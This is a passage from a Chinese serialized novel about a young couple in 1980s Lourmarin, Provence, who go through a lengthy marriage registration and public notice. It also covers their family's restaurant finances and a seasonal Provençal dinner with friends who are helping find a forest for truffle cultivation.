罗南经常自诩是普罗旺斯人,但他在这片土地居住的时间还是太短了,他摸清了普罗旺斯的表象,但普罗旺斯‘内核’还需要慢慢探索。 佐伊一字一句的解释: “首先,这肯定和历史直接相关,阿维尼翁被教皇管辖了400多年,一直到今天,阿维尼翁教区仍享受一定司法特权,就比如让你不满的那些。” ‘普罗旺斯’这个地名从公元前便出现,但它的面积经历过多次变革,可以简单理解为靠近地中海的沿海地带。 而教廷真正直接管辖的只有阿维尼翁附近的这片区域,面积还不到整个普罗旺斯的三分之一。 法国大革命后,国土进行了新的行政划分,阿维尼翁成为了沃克吕兹省的省会城市,这片管辖区域与之前的教廷管辖区域有80%的重合,那之后,沃克吕兹省全境被认定为阿维尼翁教区,享受一定特权待遇。 “特权没什么好的,规矩倒是挺多。”罗南嘟囔。 他听农夫们提起过教区特权,那可真是‘大开眼界’了。 所谓的教区特权有,教皇新堡产区的部分酒庄必须每年向总教区献祭‘第一桶酒’;总主教拥有‘法定品鉴否决权’,若宣布某年份酒‘亵渎上帝口味’,酒庄须当众焚毁;当地重罪囚犯临刑前可申请‘教皇忏悔’减刑等等。 这些特权现在更多的是以‘文化符号’的形式存在,没有什么约束力、行使的次数也几乎没有,毕竟这里已经不能算是教皇的飞地.和中世纪的情况完全不同了。 “但天主教对婚姻的态度是极为严肃和认真的。”佐伊看向罗南的侧脸,“你没发现吗,你所谓的严谨,只存在于两性和婚姻有关的事情上。” 罗南回忆了一下,似乎是这样的。 他在卢尔马兰居住了一年多,从来没有抱怨过法律法规的严苛,只会抱怨这里的人太松弛了。 这样看来,这次的反差是真的受到了宗教影响。 阿维尼翁是天主教教区,天主教对婚姻的态度本质上是极端严格的,认为那是无比神圣的事情,他们提倡唯一性和不可拆散性,即一夫一妻制度和禁止离婚和再婚。 “还有其他原因吗?”罗南记得刚刚佐伊解释这个理由时用了‘首先’这个单词。 所以还有其他影响因素? 佐伊目视前方,表情和语气变得神圣和庄重: “还有就是受地中海保守文化的影响,我们从小受到的教育便是家族利益高于一切,你见过其他地区有这么重的家庭观念吗?在卢尔马兰,结婚是人生中最大的事情,没有之一,比新生儿诞生还要重要,因为结婚代表有一个新的‘家庭’要诞生了,这自然不能马虎。” 罗南撇了撇嘴: “岂止是不能马虎,都可以用‘过五关斩六将’来形容了。” 在卢尔马兰组成一个家庭相当的不容易。 一周前,佐伊和罗南先去政府提前预约了结婚登记的日期,并填写了一份《结婚意向声明》。 没有预约和申请,他们无法成功完成登记,即使那是罗南和佐伊都不行。 “因为只有每周四的上午才能办这项业务。”康蒂娜已经成功的度过实习期,成为了卢尔马兰政府的正式职员。 但在巨大的挑战面前,加入了许多新鲜血液的卢尔马兰政府仍然忙的团团转。 再加上结婚登记这项业务在卢尔马兰属实太冷门了,这是今年来的第一起,所以没有专职人员负责,都是谁不忙了过来‘兼职’一下,且必须要提前预约时间。 在小村庄,类似的情况非常普遍。 同一个办公室,今天处理市民投诉,明天就变成了卫生宣讲,再过一天变成了招商办,椅子后面坐的可能是同一个人。 总之,在小地方人得全能点才能混的开。 但罗南和佐伊毕竟是卢尔马兰的两位大功臣,让他们等了一周才办上业务着实不妥,前一天晚上,希尔维千叮咛万嘱咐,办理的时候一定要态度好点,康蒂娜在门口等了小情侣好几个小时,站的腿都发酸了。 主要是也没人通知她,罗南和佐伊是从艾克斯赶回来的啊. “我们去会议室吧。”身体上虽然很疲惫,康蒂娜的态度还是极其好的,连问问题都是用商量的语气,“之前通知你们带的材料都带来了吧?” “带来了,带来了。”罗南拍了拍他腰间鼓鼓囊囊的斜挎包,感慨道,“准备这些材料可真不容易啊。” 毫不夸张的讲,腿都快跑断了! 康蒂娜用同情的语气说: “你们已经很快了,真的赶上了今天,上个月有一对新人因为材料迟迟准备不齐,连续改了三次时间,到今天还没交上来呢。” 会议室里,罗南把材料按照种类一一铺开。 “这里是我们两个的出生证明,上面有父母信息。” 出生证明是最基础的东西,不管在哪里登记都需要。 “这是我和佐伊的居住证明,近12个月的电费单,和我们住处的地契。” 由于阿维尼翁教区奉行‘住所地唯一管辖’,为了约束新人只能在居住地登记,需要提供严格的居住材料才可以办理。 如果居住的是自己的房子,需提供连续12个月的电费单或者水费单,加房屋地契;如果是租的房子,是连续12个月的电费单或者水费单,加房屋租赁合同。 “婚检证明。”罗南又拿出来了一份文件,并指着最上面的一行说,“阿普特医院开的。” 沃克吕兹省当地法律要求,婚检证明须在阿普特或卡庞特拉指定诊所完成,其他省的证明统统不认。 罗南又拿了厚厚的一沓子身份复印件出来,平铺出来让康蒂娜自己选: “这里一共有20多个人的身份证明,你看着拿吧。” 一周前,工作人员要求他们在结婚登记这天同时带来4名证人的身份证明,其中2名男方亲友、2名女方亲友,作用是证明新人提供的所有资料真实。 回去后,罗南找特奥他们几个帮忙,但交上来的证明有一大沓子.朋友们都想成为罗南和佐伊的证明人。 佐伊那里遇到了同样的情况,她的姐妹团算上她有四个人,但只能要两个的,歌迪亚、薇薇安和宝莱特为了争那两个名额都快‘反目成仇’了。 后来小情侣决定全部收上来,这个恶人让政府的人来当吧,而康蒂娜就成为了那个小倒霉蛋。 在卢尔马兰政府工作的这几月让康蒂娜成长飞快,她已经不是那个拦着罗南上楼的愣头青了。 她把所有身份证明全部收了起来: “4张是下限,没有上限,这样更加能证明你们提交材料的真实性。” 罗南继续在他的包里掏东西。 “这里是我和佐伊的‘道德审查文件’。”他指着下面的落款时间说,“72小时内的。” 道德审查文件就是无罪记录等,居住在卢尔马兰的居民需要去吕贝隆警察总署开具。 提交这份材料的原因是,政府担心有些新人在结婚前隐瞒自己之前的部分历史。 但这份资料有时效性,开具时间必须在72小时之内。 最后,罗南拿出了110法郎现金,这是结婚登记费。 以上,是上一次来时,工作人员让小情侣准备的所有材料。 见康蒂娜把所有材料一一过目,按照顺序装好,并没有提出什么异议,罗南着急的问: “没有问题吧,是不是齐了?” 佐伊终于要成为他的合法妻子了! 康蒂娜一边装订材料,一边点头: “没有问题,材料齐全。” 罗南兴奋的拍了下手: “今天就能下证了是不是?” 佐伊和康蒂娜异口同声的说: “早着呢,哪有这么快啊。” 罗南哑口无言。 想结个婚怎么这么这么难! 两个小时后,罗南和佐伊吃完午饭,站到了政府门口的公示牌前。 上面新出现了一份公示信息,内容是关于罗南和佐伊结婚相关的。 “要公示10天那么长?”罗南双手抱胸,脸色已经可以用难看来形容了。 佐伊捂着嘴笑道: “这已经是简化之后的时间了,之前要公示20天。” 罗南指着公示栏,气愤的问: “我想知道,在沃克吕兹省一年里能抓到多少个‘重婚犯’?需要用那么长的时间来公示这段婚姻!” 康蒂娜告诉罗南,在公示的这段时间里,如果有人举报罗南和佐伊已婚,或者其他婚姻障碍的情况,他们的结婚申请将不予通过,直至拿出足够的证明才可以继续下面的流程。 而且罗南还了解到,在阿维尼翁教区正式的结婚证明要在婚礼之后给到,没有正式的婚礼,婚姻状态无法正式生效,也就是说,罗南还要再等1个多月! 他只是想结个婚啊,怎么这么难? 佐伊开玩笑的说: “谁说只是为了防止其中一方在婚姻状态中,如果有人举报我们是近亲也不行啊。” 罗南扬起手,就要去掐佐伊的脸。 咱俩是近亲? 你要不要照镜子看看?? 佐伊一把抱住罗南的胳膊,撒娇说: “开玩笑呢,结婚公证的目的真的不只是流出时间收集异议,也是为了公开告知啊。” “公开告知?”罗南皱起了眉毛。 佐伊拉着罗南离开了政府大楼,向村门口的方向走: “这个公示不止会贴在这里,一切人流量密集的地方都会出现,我说过,沃克吕兹省非常重视婚姻,很快所有人就会知道我们要结婚的消息了。” 今天卢尔马兰发生了一件大事件。 村门口、葡萄园外、面包房前、旅游景点里十几处地点同时出现了一个告示牌。 这东西好久没在村里出现了,村民们看到了全部要驻足观看两眼。 上面的信息是这样的: “结婚公告 法兰西共和国沃克吕兹省-卢尔马兰政府 根据法律规定,现发布以下结婚公告 罗南先生 xx年x月x日生于巴黎 职业:商人、艺术家 住址:xxx,邮编xxx 与 佐伊女士 xx年x月x日生于卢尔马兰 职业:艺术家 住址:xxx,邮编xxx 婚礼将于1987年7月20日11时在卢尔马兰城堡举行。 民事登记官:康蒂娜 日期:1987年6月6日” 第504章 母爱泛滥了 这份公告的作用有多大呢? 罗南和佐伊还在村子里找第四处告示牌呢,周围便开始有村民列队追着他们说恭喜。 老先生和老妇人放弃了午睡、干活的农夫停下了劳作、商铺里的售货员抛下顾客、路边的小商贩停止了吆喝 女士们先生们,此时此刻,请你们放下自己手上的一切事情,因为卢尔马兰要有大喜事发生啦! “上帝,你们终于走到这一步了。” “恭喜啊佐伊,恭喜啊罗南,我太为你们开心了!” “孩子们,我没有看错吧?你们的婚礼举办场地是卢尔马兰城堡?是我想的那个卢尔马兰城堡吗?” “哈哈,老阿德里安,吕贝隆还有其他叫卢尔马兰城堡的地方吗?这可是佐伊和罗南啊,他们在城堡举办婚礼怎么了?就算他们在要市政厅举行婚礼,布兰科也一定会把地方腾出来。” “我开始期待7月20号的到来了!” 运气好的村民直接在街道上碰到了罗南和佐伊。 运气不好的村民看到告示一边通知熟人,一边往罗南家、佐伊家和罗南的中餐厅赶。 就像佐伊分析的那样,在阿维尼翁教区,婚姻是一生中最重要的事情,卢尔马兰要诞生一个新的家庭必须要第一时间送去祝福。 餐厅里,冯珍说‘谢谢’都说到脑缺氧了。 热心的村民找不到罗南和佐伊,就对她说,搞得跟她要结婚似的。 你别说,虽然早就知道儿子要结婚,但今天这气氛一烘托,冯珍的感觉立马变了,有种明天儿子就要长大成人的唏嘘和不舍。 没办法,女人呐,就是这么感性。 尤其是上了岁数的女人。 “罗南在哪儿你知道吗?”冯珍问要推门而出的康奈尔。 罗南这些斯特斯加的伙计们中午会轮番来餐厅吃工作餐,康奈尔吃完要继续赶回粉红酒博物馆上班了。 康奈尔摇头: “不知道,我中午没见到他。” 冯珍点了下头: “行,没事了,你去忙吧。” 康奈尔担心冯珍找罗南有什么要紧的事情,推开门就往外跑: “距离下一场演讲还有些时间,我去村里找找他。” 康奈尔一路小跑,终于在老教堂门口遇到了被层层围住的罗南和佐伊。 知道罗南是外地人,村民们说完恭喜后,又纷纷告知他一些注意事项。 事实上,不只是罗南抱怨在沃克吕兹省结婚困难,本地居民也是同样的态度。 想要在卢尔马兰娶一个妻子,需要比在其他地方付出更多的‘努力’。 “罗南,你先回趟餐厅吧,你妈妈找你。”康奈尔打断了正在听讲的罗南。 “好的,知道了。”罗南点头答应。 佐伊已复工,下午要去工作室创作,他们在外面待了不短的时间,确实该离开了。 康奈尔完成了找人任务,返回商业街上的粉红酒博物馆。 这几个月他依然在做讲解员,给来自世界各地的游客介绍斯特斯加粉红酒。 众所周知娶一个城里的老婆是康奈尔的毕生梦想,所以现在这份工作让他无比的满足——每天都能见到许许多多大城市里的女孩,运气好的时候可以说上好几句话呢。 但过了6月中旬,康奈尔就要把这份好差事交出去了。 斯特斯加的厂房部分将在这个月竣工,罗南让康奈尔回归到粉红酒的业务,把讲解的工作交给其他人,毕竟他是目前条件下除了罗南以外第二了解酿酒的人。 说没有不舍是假的,工作环境要从被美女环绕改成被一圈臭男人环绕而且没有了这份差事,康奈尔很难接触到城里姑娘了。 可是一想到,他终于要走入斯特斯加的核心业务,又止不住的兴奋和激动。 “只认识城市姑娘有什么用?像罗南一样优秀和富有才是娶到城市姑娘的关键,而我现在距离这个目标越来越近了。”康奈尔的双颊绯红,脚步不由得加快了,“加油康奈尔,你一定可以娶到城市姑娘的!” 经过一个路口,康奈尔看到一个女孩坐在马路边上,顶着头顶的大太阳正在揉小腿肚子。 他是一个极热心的小伙子,热心到担心对方胆小,连尿尿都陪着,看到这个情况,他立即停下来关心的问: “需要帮助吗,小姐?” 那‘小姐’一抬头,两个同时愣住了。 “啊,是你啊,康蒂娜。”康奈尔尴尬的摸了摸头。 粉红酒博物馆竣工后,身为讲解员的他接受了一阵子政府的培训,他现在说的那些讲解词都是政府帮他编辑的,而那个时候的培训专员,正是刚入职卢尔马兰政府、哪里需要哪里搬的康蒂娜。 康蒂娜上午在政府门口等了罗南和佐伊整整一个上午,紧接着又马不停蹄的来盯卢尔马兰街道装饰升级工作,此时两条腿又酸又涨,见到能坐的地方一屁股便坐下了。 “没事没事,我就坐下歇会,你去忙吧,不用管我。” 康蒂娜和康奈尔并不熟,只是培训那阵子有交集,但那次培训中有许多人,她对康奈尔的印象很简单,就是一个小胖子。 “好的,那我走了。”康奈尔挥了下手,消失在人群之中。 康蒂娜继续揉腿,暗暗发誓要加强下体能锻炼了。 想着想着,面前出现了一个藤编的小板凳。 “地上凉,我在巴蒂那里拿的,用完还回去就行。”康奈尔放下板凳立即跑走,再不回去真要迟到了。 康蒂娜盯着那个板凳看了两秒,坐了上去: “一个热心的小胖子。” 罗南来到餐厅里。 “你找我?”他靠到收银台上问冯珍。 这波情绪来的太突然,又很浓烈,冯珍一时间有点不知道怎么和罗南开口,总不能说儿子我就是想你了吧?于是把刚刚谁都来过、都说了什么像报菜名一样复述了一遍。 坦白讲,她也总结不出现在到底是怎么样的一种心情,总之就是母亲泛滥心甘情愿付出一切让儿子幸福。 罗南听完没有什么表情变化,淡淡的点头: “好,我知道了,没什么事我去安排集市面试的事情了。” 他把招聘信息送到了周围几个村子,最近陆陆续续有一些人打电话来应聘,罗南给自己设定的时限是6月中旬,得加快速度了。 “嘿——”冯珍拉长了尾音,不满的说,“你怎么还没有那些来送祝福的人兴奋呢?到底是谁结婚啊” 母爱的闸门关上了些许。 一提结婚罗南就一肚子的怨言。 冯珍最喜欢听八卦,罗南就把沃克吕兹省的繁复结婚流程给母亲讲了一遍,希望母亲能和自己一起骂一骂这繁复的制度,害得他要不停苦苦等待。 “提交那本比字典还厚的资料是第一步,公示10天是第二步,但这还远远没有结束,公示结束后必须要举行一次正式的婚礼,婚礼结束之后布兰科才会在婚姻登记薄上签字,至此,我和佐伊的婚姻才能生效,你就说在这里结婚有多麻烦吧!”罗南生气的抱怨。 听到儿子娶个老婆居然这么不容易,冯珍的母爱又开始泛滥了,只不过没有如罗南设计的那样和他一起骂两句,而是说起了别的: “行了,一个地方有一个地方的规矩,俗话说得好‘好事多磨’,开心点啊儿子,你和佐伊的资料又没有问题,这个婚肯定能结上,之后都是幸福的日子。” 罗南撇了撇嘴,叹气: “行了,那我去忙了。” 想让儿子开心点,冯珍将他喊住,压低声音说: “5月份的帐我算完了啊,有这个数。” 罗南低头一看,冯珍比了个三的手势。 “这么多吗?”罗南停下脚步。 4月份算账时,餐厅的利润是16万多法郎,但那个时候只涵盖了一半人流量密集的天数。 5月份,旅游季正式到来,那么冯珍比出三这个数字一定就是30万法郎了。 “这次妈全给你存下。”冯珍拍着罗南的后背说,“爸妈好好给你挣钱,你就负责和佐伊开开心心的生活,任何烦恼都没有,听到没有!” 罗南轻轻抱了一下母亲: “谢谢妈,我现在已经很幸福了。” 罗南有月底算账的习惯,但最近他的精力在组织集市上,又去艾克斯参加了甜品大赛,还申请了结婚证,没有来及和各个业务负责人碰财务的数字。 不过拿到了餐厅的收入情况,罗南相信,整个5月的收获一定是相当丰厚的。 但罗南无法如母亲预想的那样——没有任何烦恼的幸福生活,因为他的经济压力始终存在着。 5月份可以用‘大出血’来形容,首先是支付给了费尔南教授团队的实验费用,共计12万法郎。 还买了一台杰罗姆帮忙找到的二手的气囊压榨机,同样是12万法郎。 和佐伊的婚礼必须是最好的,否则配不上卢尔马兰城堡的场地,比较好的消息是,政府没有收罗南场地费,那天的服务员也都是现成的,而且罗南自己就可以解决宾客的餐饮问题,以上这些给他省去了大量的挑费。 不过即使如此,罗南也给婚礼留下了20万法郎的预算,最近在陆陆续续的支出了,但只要婚礼成功,这件事的花费没有上限,毕竟这是人生中最重要的事。 花完以上这些,罗南的存款只剩20万了,即使加上这个月餐厅的30万法郎收入,依然可以用‘捉襟见肘’来形容。 因为未来还有三件需要花钱的‘大事’在等着他支付。 斯特斯加共需要两台压榨机,又等了一个月,杰罗姆始终没有找到罗南想要的二手好货,而酒窖建好后,杰罗姆就要离开普罗旺斯去马德里过退休生活,也就是说,罗南大概率要采购一台全新的气囊压榨机,价格在15-20万法郎区间。 还有一个必须要花的钱,是卢尔马兰商业街上二期和三期的三间店铺。 招商工作早就开始,罗南迟迟没有去签合同,如果赚不到足够的钱,他只能去银行贷款。 最后一个花钱的地方,是卢尔马兰附近做松露人工培育实验的森林。 以上三件事,就是压在他头顶的三座大山了。 但仔细想想,罗南也不是完全没有‘翻山’的武器。 “集市最多有几万法郎,松露还是个‘赔钱货’,斯特斯加的旅游业也指望不上,同样是几万的样子。”罗南一边走一边盘算,“在扩店之前,餐厅的收入上限大概就是三十万法郎,那么想要扭转乾坤就只能指望编织那边的情况了。” 这个月他和佐伊去了F1,狠狠的宣传了一波他的各种生意,想来5月的收入应该能给到一些惊喜? 和其他业务相比,编织的上限还远远没有到来,因为桑德琳刚加入不久,还因为这个月有两件事情会影响编织业务未来的格局。 一个是《普罗旺斯艺术指南》要在6月发刊,罗南和佐伊的名次必然能带来一些收获,而在罗南的艺术家介绍里有许多和编织有关的东西,那将极大的帮助编织艺术在普罗旺斯的普及。 而且不要忘记巴蒂,他虽然名次很低,但肯定也能起到宣传作用,在他的篇幅中只有编织一样东西。 第二件关键是艾利安帮助罗南申请的‘自由枝芽’认证,不出意外可以在这个月拿到。 ‘自由枝芽’在普罗旺斯地区的影响力非凡,而且有了认证的品牌溢价是按倍来计算的,因此编织业务在未来几个月发生些‘奇迹’不是没有可能,改变一定就在6月开始。 罗南没有马上去编织大院算账,现在最重要的事情是赶紧把集市的事情落实。 从长线来看,这些种子一定能创造出更多的奇迹,所以越早埋下越好。 “等过几天吧,过几天再去找巴蒂,再好好看一看妇女们设计的新家具款式。”罗南收回看编织大院方向的视线,按照原来的路线继续前行。 罗南把所有的期望都压在编织业务上。 但冯珍可不认同这件事。 晚上都回到家里了,她泛滥的母爱还没有褪去,始终沉浸在耳畔那一声‘恭喜恭喜’里。 今晚罗南没有回家吃饭,减肥成功的他要和兄弟们聚一聚。 老两口经常独自在家,冯珍看电视,罗天海逗狗,谁都不干预谁,但今天冯珍完全看不进去那些电视剧,相应的,罗天海也别想好好逗狗了。 冯珍在沙发翻来覆去的坐不安稳,突然问罗天海: “罗南朋友的那个餐厅,怎么样了?” 她指的是,为了融入餐饮圈子,罗天海主动要去帮阿图尔挽救即将倒闭的那间新餐厅。 冯珍平时除了记账,几乎不管餐厅业务,就更别提其他餐厅的事情了。 那能有电视剧里的情情爱爱有意思? 还是比变美更值得投入精力? 罗天海纳闷: “你问这干什么?” 冯珍坐直了身体,捏着沙发抱枕说: “我跟你说,这事儿只需成功不许失败!你把那餐厅救活了,除了能提升威望,还能让中餐在普罗旺斯普及儿子一天天多辛苦啊,我看的心疼死,以前没有条件,也没有本事,现在咱们有机会可以让罗南当富二代啊。” 说到动情之处,她‘piapiapia’的拍起罗天海的胳膊,似乎是想让他清醒点: “听到没有,你必须给点力!让咱们的餐厅早点开出卢尔马兰,去别的地方开新店,给罗南挣好多好多的钱回来!” 第505章 时令的重要性 冯珍很识趣的知道自己没有什么大本事。 除了长相不错、会保养、比同龄人看起来年轻、身形富态(儿子的评价)外,就只会算算账了。 她空有一腔热血,奈何想了一晚上,实在想不出什么能帮儿子的地方只能指望罗天海了。 罗天海是真的有本领,这一点她这个做妻子的无比肯定。 儿子的梦想,我这个当妈的来买单。 我的梦想,你这个当老公的不该满足吗? 罗天海虽然也听了一天‘恭喜’的话,但没有女人那么感性,就是挺为儿子开心的。 但冯珍说的这件事,他很认同。 他来普罗旺斯的初衷可不是来养老,他要做罗南背后的‘男人’。 “还用你说?”罗天海站起来把电视打开,调出了法国电视一台,“我心里有数。” “你关上,我今天不想看,说正事,光心里有数没用啊。”冯珍瞥了一眼电视里的画面,“现在什么情况了?死透了没?” 罗天海这半个月去过两次阿普特,可回来时什么都没说。 “怎么可能死?”罗天海语气凝重的说,“不仅没死,里面还有更多中餐餐品了。” 阿图尔的新餐厅主营融合菜,哪里的菜系都有,挺杂的,罗天海便建议他先做减法,这样也好抓住核心客群。 罗天海愿意帮他一起渡过难关,阿图尔自然要把中餐提到更重的位置,而罗天海也很配合的教了他新的菜品。 “好好好,那我就放心了。”冯珍拍了下大腿。 罗天海背起手,嗓音低沉的说: “去年这个时候,我们刚刚决定要在卢尔马兰开个餐厅,今天这个时候,餐厅的利润已经有30万了,明年这个时候,我有信心让这个数字再翻上两倍。” “不行不行,太慢了太慢了。”冯珍挥舞起胳膊,“等那个餐厅彻底活了,咱们就去阿普特开店,下一步是阿维尼翁,然后走出沃克吕兹省,去艾克斯、马赛、尼斯、戛纳.” 冯珍越说越兴奋,进入了自己设想的未来里,沉醉的说: “等罗南和佐伊有了孩子,什么都不用干,也不用为钱发愁,就天天陪孩子,我跟你说啊,陪伴太重要了,我当年工作忙,没有什么陪罗南的时间,他性格跟你一样死闷死闷的,一点都没学到我的活泼和热情。” 罗天海咂了下嘴: “这都哪儿跟哪儿啊?而且随我怎么了?男孩子性格沉稳挺好的。” 冯珍继续摆手: “万一是女孩呢?万一是双胞胎呢?万一他们生了好几个呢!没有金钱的压力,父母就有时间陪孩子了。” 罗天海懒得和冯珍争论这个话题,老实的闭上了嘴。 女人不止更加感性,还不讲道理,跟她争不出什么,只会被绕进去。 但他都不说话了,冯珍还在摆手,而且幅度越来越大了。 “你干什么?”罗天海皱着眉毛问。 你今天怎么这么反常? 更年期不是已经过去了吗? 冯珍把抱枕扔过去,怒吼道: “我让你躲开啊,挡着我看电视了,没看电视里正亲嘴呢嘛!” 罗天海:“.” 罗天海和冯珍前脚制定好了让罗南成为富二代的大计,他们的宝贝儿子后脚马上遇到了要花钱的地方。 正在忙前跑后给集市找员工的罗南,某一天突然收到了桑德琳的聚会邀请,说让他带着佐伊去吃一顿特色普罗旺斯晚餐。 罗南欣然接受,说既然聚会就搞的热闹点,叫上巴蒂和卡福一起,正好F4好久没碰头了。 但桑德琳告诉罗南,这次叫其他人不合适,布鲁诺在卢尔马兰附近找到了一片适合的森林,这次的聚会主要是聊聊这件事。 “三座大山之一终于向我压过来了。”罗南在心里默默叹气。 森林的价格他心里有数,卢卡斯去年年初才买过,种植黑松露对地形和地势有要求,不是哪里都能用的,扣完各种补贴后大概是9万法郎/公顷。 又过了一年,价格肯定过10万了。 那片森林的外围还要留足够面积的生态缓冲带啧啧啧,又是一笔巨大的开销啊。 布鲁诺不是每天都会回家,出差的日子挺多的。 所以这是罗南和佐伊在搬家那天后,第二次来到这个同样远离卢尔马兰村中心的房子。 搬家那天,布鲁诺的两个孩子去上学了,没有和小情侣见上面,这次罗南的车子还没熄火,就从屋里冲出来两个梳着小辫子的女孩子。 佐伊非常招孩子喜欢,以前去村里买东西,身后一定会跟着一群。 两个孩子知道佐伊今天要来兴奋极了,用拥抱和亲吻欢迎这个家里有两只大狗狗、院子里有许多许多好玩东西的大姐姐.再顺带欢迎一下漂亮大姐姐身边的哥哥。 罗南对此毫不意外,他经常被区别对待,只是对一手一个孩子的佐伊说: “未来我们的孩子不会也这么偏心吧?” 这下好了,遇到情商低的家伙,问小孩,你喜欢爸爸还是妈妈不用犹豫了 “怎么会。”佐伊开心的拉着两个孩子,“只是因为几个月前她们去咱家做客时,我陪她们玩了很久,还给她们拿了许多吃的,你这样做,孩子们也一定会喜欢你。” 布鲁诺的小女儿还是抱娃娃的年纪,她将手里死丑死丑的绿毛娃娃一把举起: “姐姐还告诉狗狗,不要对我凶凶!” 布鲁诺的大女儿马上补充: “姐姐还带我去看了蚂蚁的家!” 罗南摸了摸两个小家伙的头,最后又摸下佐伊的脑袋: “你一定会成一个无比优秀的妈妈。” 面对婚姻,佐伊起初的情绪是忐忑和不安,她担心自己无法成为一个合格的妻子。 但自始至终,她也没有因为即将在未来的某一天成为一个母亲而不安过,因为她知道自己可以胜任这个新身份,罗南也是这样认为的。 提到‘妈妈’这个单词,两个小家伙突然拉着佐伊往屋里冲: “今晚妈妈准备了许多好吃的,姐姐快去看看!” 罗南和佐伊来的早,晚饭还要等一会开始。 安静不下来的两个女孩先是把佐伊拉去了客厅的小毯子上一起玩,又带佐伊去杂物间指看到老鼠的某个位置,过了一会她们把佐伊拉出了屋子,说在洋槐树下,她们目睹家里的狗咬死了一只不知道哪里出现的珠鸡,最后的最后,两个女孩说要带佐伊去附近的小溪,她们听邻居小男孩说,那附近青蛙挺多的。 “不许出去了!快回来,晚饭马上好了!”桑德琳推开厨房的窗子,制止两个孩子,完全没有平时职业女性的从容和淡定。 在厨房里和主人聊天的罗南抬头看了一眼: “没事,让她们去玩吧,一会吃饭了我去喊她们。” 桑德琳盯着两个孩子乖乖的进屋后,才开口: “哪有女孩子去小溪里抓青蛙的?佐伊穿的那么漂亮,一会都弄脏了。” 罗南笑着说: “佐伊愿意和孩子们玩,可能还会给孩子上动物课呢。” 那可是佐伊最擅长的领域! 桑德琳笑着摇了摇头,用羡慕语气说: “你娶了一个各方面都很完美的妻子。” “我不完美吗?”布鲁诺光秃秃的脑袋出现,热情的说,“亲爱的,我已经调好洋槐煎饼面糊了,我们现在就做吗?还是等一会?” 普罗旺斯人每个月的餐桌上有着不同的风景。 六月上旬,洋槐树的白色花朵开始凋谢干枯,普罗旺斯人便赋予这一串串白色花朵新的使命——浸泡入奶油面糊和香草薄饼里。 这是只有在普罗旺斯乡村才会出现的特色限定美食。 布鲁诺一家才搬来卢尔马兰不到一个月便拿出了这道菜,让罗南挺意外的。 “看来你们融入的不错啊。”罗南看着布鲁诺手里和有洋槐的面糊说。 布鲁诺嘿嘿笑了两声: “桑德琳提前给你预告了没有?今晚,我们吃的全部是地地道道的普罗旺斯乡村美食。” 说完,他继续补了一句: “6月限定!” 只要天气允许,普罗旺斯人一定会在户外吃饭,尤其是晚上这顿。 布鲁诺和桑德琳坚持不让罗南和佐伊帮忙,小情侣就去院子里布置桌子。 绿色铁皮餐桌,白色的碎花桌布,早早摆出来的清新红白小萝卜、刚下市没几天的新鲜无花果、头顶的梧桐树、空气中弥漫的烧烤炭火香气、耳畔的蝉鸣. 如果不是两个女孩在耳边叽叽喳喳的说‘普罗旺斯的天黑的比巴黎晚’,罗南真以为自己正坐在康奈尔、皮埃尔又或者是某个地道卢尔马兰人家的后院里。 “布鲁诺一家融入的太快了。”罗南平摊双手,对佐伊说,“我来卢尔马兰一个月时还在家里啃面包呢,他们居然已经懂得遵循季节的规律了。” 佐伊在陪两个孩子玩耍的间隙,抽空回答罗南: “他们最近一定和本村人走的很近。” “那应该是桑德琳吧。”罗南双手抱胸,“我不认为布鲁诺和农夫们喝酒时会聊和烹饪有关的事情。” “前菜来了!”桑德琳打断了小情侣的对话,将两个盘子放下,“橄榄渍小胡瓜,这个季节的小胡瓜嫩的很,要抓紧吃;吃芦笋的季节马上结束,必须得抓住尾巴好好吃一顿,今天的好几道菜里都用了它们。” 布鲁诺拿着面包、黄油和盐,紧随其后: “孩子们,别玩了,起来帮忙,去冰箱里把冰镇的粉红酒拿来,今晚我要和罗南叔叔好好喝几杯。” “是哥哥!”两个小女孩严肃的纠正,听话的跳下了椅子。 “以后叫叔叔!”布鲁诺看着女儿的背影大喊。 罗南坏笑着拍了拍一脸无语的布鲁诺: “我已经迫不及待的要和你好好喝几杯了,叔叔。” 晚宴上的食材全部是正当季的,天知道新鲜的食材做出来的美食有多好吃。 一桌子人闷头吃了近半个小时,才舍得起个话题。 布鲁诺将盘子里最后一口羊排吃下去,又用洋槐薄饼擦了两下盘子: “我帮你找到合适的森林了。” 罗南也放下了餐具: “这么多天没有消息,我还担心找的不顺利。” 布鲁诺拿起杯子喝了一口酒,给罗南解释: “森林哪里都有,即使加了许多地势和地形的条件,找起来也不是什么难事,但我没忘记你最重要的要求——便宜和距离卢尔马兰半个小时路途之内,加上这两点就费时间了。” 罗南也知道不可能一切都如他所愿的道理: “没关系,只要距离卢尔马兰不远,可以比较顺利的把游客运过去,价格高一些就高一些了。” 如果一定要在距离和价格这两个条件中做取舍,罗南一定会选择距离。 项目再好、地再便宜,游客过去要先做40分钟车,再进行一个小时的荒野行军不知多少人要打退堂鼓呢。 旅游的核心是‘玩’、是‘开心’,便捷非常重要。 布鲁诺拍了拍罗南的肩膀: “本来是无法兼顾的,但你小子运气真的好,我本是抱着试一试的心态等了一阵子,还真让我等到了一片距离又合适,价格又低的森林。” “再低能低到多少?”罗南前倾身体,“我的合伙人去年买过森林,当时的价格是9万多法郎/公顷。” 布鲁诺拍着光秃秃的脑门说: “是啊,正常应该是这个价格,因为市面上大部分的森林都是森林局在售卖,定价要听从总局的安排,但这次我给你找的森林是私人的。” 男人们的话题女人插不进去。 佐伊和桑德琳便又起了一个话题。 佐伊吃了一口今天的甜品‘薄荷玫瑰露’,这同样是一道只会出现在普罗旺斯乡村的美食: “我和罗南今天不知多少次感叹,你们一家人融入普罗旺斯的速度太快了,我真的不敢相信,你们才来这里不到一个月。” 布鲁诺的小女儿举起了手里那个死丑死丑的绿毛娃娃: “我证明,姐姐说了好几次!” 布鲁诺的大女儿徒手撕了一块羊排: “我证明,姐姐说了5次,哥哥说了3次!” 桑德琳给两个孩子倒满用今天早上新摘下来的草莓做成的果汁: “这一个月的见闻让我和布鲁诺明白了一个道理——烹饪、种植和聚会同样是生命里的一部分,它们将人们连结起来,紧紧的与这片土地相连,说出来你可能不信,这是我三十多年来过了最开心的一个月。” 第506章 美好的童年回忆 佐伊给自己和桑德琳倒酒,做出一副耐心倾听的样子: “期待你的故事。” 